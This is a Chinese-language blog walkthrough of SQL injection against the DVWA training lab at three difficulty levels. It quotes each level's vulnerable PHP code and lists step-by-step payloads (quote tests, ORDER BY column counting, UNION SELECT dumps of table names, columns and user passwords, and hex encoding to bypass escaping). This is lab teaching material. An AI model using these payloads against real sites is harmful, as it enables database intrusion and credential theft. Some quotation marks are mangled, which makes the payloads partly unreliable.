SQL注入漏洞产生的原因_怎么判断是否有sql注入漏洞

SQL注入漏洞产生的原因_怎么判断是否有sql注入漏洞low等级 代码如下: 1 <?php 2 3 if( isset( $_REQUEST[ 'Submit' ] ) ) { 4 // Get input 5 $id = $_R

low等级

代码如下:

 

 1  <?php
 2 
 3 if( isset( $_REQUEST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_REQUEST[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id";";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "<pre>" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "</pre>" );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     mysqli_close($GLOBALS["___mysqli_ston"]);
22 }
23 
24 ?>

代码100分

 

如上图,代码并没有对输入进行过滤,存在sql注入漏洞

下面开始攻击:

1.判断是否存在注入

输入   1                         —返回正确

输入   1’                        —返回错误

输入   1 and 1=1         —返回正确

输入   1 and 1=2         —返回正确

输入   1‘ and ’1‘=’1      —返回正确

输入   1‘ and ’1‘=’1      —返回正确

输入   1‘ and ’1‘=’2      —返回错误(到了这里得出应该存在字符型注入,下面继续验证)

输入   1‘ or ’1‘=’1         —返回正确(返回很多结果,证明存在字符型注入)

2.猜解查询SQL语句中的字段数

输入   1‘ or 1=1 order by 1#     —返回正确

输入   1‘ or 1=1 order by 2#      —返回正确

输入   1‘ or 1=1 order by 3#      —返回错误(返回结果—Unknown column “3” in “order clause”       证明字段数为2)

3.确定字段顺序

输入   1″ or 1=1 union select 1,2#    —返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID=”id”)

4.确定数据库

输入   1″ or 1=1 union select database(),2#    —确定数据库为  dwva

5.猜解表名

输入  1″ or 1=1 union select 1,table_name from information_schema.tables where table_schema=”dvwa” #        —确定表名为 guestbook 和 users

6.猜解列名

输入  1″ or 1=1 union select 1,column_name from information_schema.columns where table_schema=”dvwa” and table_name=”users” #      —爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解数据名

输入  1″ or 1=1 union select 1,concat(user,”-“,password) from users #       —爆出所有数据

 

medium

代码如下:

 

代码100分 1 <?php
 2 
 3 if( isset( $_POST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_POST[ "id" ];
 6 
 7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 8 
 9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( "<pre>" . mysqli_error($GLOBALS["___mysqli_ston"]) . "</pre>" );
11 
12     // Get results
13     while( $row = mysqli_fetch_assoc( $result ) ) {
14         // Display values
15         $first = $row["first_name"];
16         $last  = $row["last_name"];
17 
18         // Feedback for end user
19         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
20     }
21 
22 }
23 
24 // This is used later on in the index.php page
25 // Setting it here so we can close the database connection in here like in the rest of the source scripts
26 $query  = "SELECT COUNT(*) FROM users;";
27 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "<pre>" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "</pre>" );
28 $number_of_rows = mysqli_fetch_row( $result )[0];
29 
30 mysqli_close($GLOBALS["___mysqli_ston"]);
31 ?> 

 中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

下面开始攻击:

1.判断注入类型

选择1,提交,抓包后更改为 (此操作后续简写为抓包)

1‘ and 1=1                  —返回错误

1 and 1=1                  —返回正常(说明注入类型为数字型注入)

2.判断字段数

抓包

1 order by 1#            —返回正常

1 order by 2#            —返回正常

1 order by 3#            —返回错误(字段数为2)

3.判断字段顺序

抓包

1 union select 1,2#         —返回正常

4.猜解数据库

抓包

1 union select 1,database()#    —成功爆出数据库 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       —返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        —返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        —正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

也可以这样

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    —爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     —爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      —爆出所有数据名

 

 

high

代码如下:

 1 <?php
 2 
 3 if( isset( $_SESSION [ "id" ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id" LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "<pre>Something went wrong.</pre>" );
10 
11     // Get results
12     while( $row = mysqli_fetch_assoc( $result ) ) {
13         // Get values
14         $first = $row["first_name"];
15         $last  = $row["last_name"];
16 
17         // Feedback for end user
18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
19     }
20 
21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
22 }
23 
24 ?> 

 

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入激活成功教程,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1″ or “1”=”1      —字符注入

2.判断字段数

1″ or 1=1 order by 2#      —返回正确

1″ or 1=1 order by 3#      —返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    —返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    —爆出数据库名

5.猜解表名

1″  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    —爆出表名

6.猜解列名

1″ or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=”users” #       —-爆出列名

7.爆出数据

1″ or 1=1 union select group_concat(user),group_concat(password) from users #            —爆出数据

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/10474.html

(0)
上一篇 2022-12-27
下一篇 2022-12-27

相关推荐

  • 让用户输入的神奇函数

    让用户输入的神奇函数input()是Python中用于获取用户输入的函数,它会阻塞程序的执行,直到用户输入完毕并回车后才会继续执行程序。最基本的使用方法就是直接调用这个函数,然后等待用户输入:

    2024-02-28
    99
  • Python中args的含义

    Python中args的含义在Python的函数定义中,如果我们想要传入不定数量的参数,可以使用args。在这篇文章中,我们将详细介绍Python中args的含义以及如何使用它来实现不定数量参数的传递。

    2024-05-27
    64
  • oracle使用expdp定时备份数据库「建议收藏」

    oracle使用expdp定时备份数据库「建议收藏」在测试环境中我们需要每天备份oracle中的数据,以便错误的操作、测试或者覆盖其中有价值的数据,暂时不考虑生产环境的全量增量备份策略,本文只是简单的oracle数据库使用expdp命令设置定时任务备份

    2023-02-06
    150
  • MySQL事务隔离性

    MySQL事务隔离性事务隔离性 当多个线程都开启事务操作数据库中数据时,数据库系统要能进行隔离操作,以保证各个线程获取数据的准确性。 如果没有隔离,会发生的几种问题 脏读(Dirty Read) 一个事务处理过程里读取…

    2023-02-11
    148
  • 学习数据库,你不得不知道的关于索引的小知识

    学习数据库,你不得不知道的关于索引的小知识最近在看阿里的数据库开发规范,正好看到说select *对查询效率的影响,正好想起来“多年”以前没有整理完成的数据库优化架构图,所以,一时激动,我就继续完成我的宏图伟业,不说别的,先上图,以证清白 …

    2023-03-16
    152
  • 用Python创建新文件夹 – os.mkdir

    用Python创建新文件夹 – os.mkdiros.mkdir()是python中os模块提供的一个创建新文件夹的函数。它可以在指定的路径下创建新的文件夹,该函数只能创建单层目录,无法递归创建多层目录。如果想要递归创建目录,则需要使用os.makedirs()函数。

    2023-12-27
    136
  • DDL与DML的区别[通俗易懂]

    DDL与DML的区别[通俗易懂]DML(Data Manipulation Language)数据操纵语言: 适用范围:对数据库中的数据进行一些简单操作,如insert,delete,update,select等. DDL(Dat…

    2023-01-24
    162
  • Python实现按钮展示功能 – 让用户轻松操作界面

    Python实现按钮展示功能 – 让用户轻松操作界面按钮展示是指在界面上显示可点击的按钮,通过点击按钮实现相应的操作。在界面中使用按钮展示可以提升用户交互体验,方便用户进行操作,也方便开发者实现用户需求。

    2024-04-11
    77

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注